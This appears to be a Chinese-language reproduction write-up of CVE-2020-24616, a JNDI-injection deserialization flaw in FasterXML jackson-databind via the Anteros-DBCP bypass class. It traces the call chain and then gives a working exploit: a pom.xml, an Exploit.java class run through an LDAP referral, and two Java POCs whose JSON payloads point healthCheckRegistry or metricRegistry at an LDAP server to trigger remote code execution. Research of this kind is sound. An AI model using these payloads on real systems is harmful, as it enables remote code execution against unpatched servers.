(CVE-2020-24616)FasterXML jackson-databind 远程命令执行漏洞¶
一、漏洞简介¶
br.com.anteros.dbcp.AnterosDBCPConfig类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。
利用条件¶
-
开启enableDefaultTyping()
-
使用了br.com.anteros第三方依赖
二、漏洞影响¶
jackson-databind before 2.9.10.4jackson-databind before 2.8.11.6jackson-databind before 2.7.9.7
三、复现过程¶
漏洞分析¶
相关信息:
https://github.com/FasterXML/jackson-databind/issues/2814
1.png
之后查找对应的issue,找到对应的绕过黑名单类:
2.png
之后在源码中定位到br.com.anteros.dbcp.AnterosDBCPDataSource
类,可以看到该类继承自AnterosDBCPConfig
类:
3.jpeg
之后全局搜索healthCheckRegistry
发现在函数setHealthCheckRegistry
作为参数进行传递,之后该参数被传入了super.setHealthCheckRegistry(healthCheckRegistry);,
也就是调用了父类的setHealthCheckRegistry
方法,并将此参数作为只传递,下面我们跟进该函数来看看:
4.jpeg
在父类的setHealthCheckRegistry
方法中首先会判断healthCheckRegistry
是否为空,如果不为空则调用当前类的getObjectOrPerformJndiLookup
方法并将healthCheckRegistry
作为参数传递,下面继续跟踪看看:
5.jpeg
之后再getObjectOrPerformJndiLookup
方法中可以看到,此处的参数object
(即:传入的数据类型healthCheckRegistry的值)首先会判断其数据类型,可以看到数据类型为String
时会被带入initCtx.lookup
,从而导致JNDI注入:
6.jpeg
整个利用链如下所示:
mapper.readValue
->AnterosDBCPDataSource.setHealthCheckRegistry
->AnterosDBCPDataSource.setHealthCheckRegistry
->AnterosDBCPDataSource.getObjectOrPerformJndiLookup
->initCtx.lookup();
漏洞复现¶
pom.xml如下所示:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.11.2</version>
</dependency>
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
漏洞利用¶
Exploit.java代码如下:¶
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
之后编译Exploit.java,并且使用python启动一个简易的Web服务,将Exploit.class文件放置到web目录下,之后使用marshalsec启动一个LDAP服务:
7.png
执行漏洞POC1:¶
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {
public static void main(String[] args) throws Exception {
String payload = "[\"br.com.anteros.dbcp.AnterosDBCPDataSource\",{\"healthCheckRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
之后运行该程序,成功执行命令,弹出计算器:
8.jpeg
执行漏洞POC2¶
Poc.java代码如下所示:
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {
public static void main(String[] args) throws Exception {
String payload = "[\"br.com.anteros.dbcp.AnterosDBCPDataSource\",{\"metricRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
之后运行该程序,成功执行命令,弹出计算器:
9.jpeg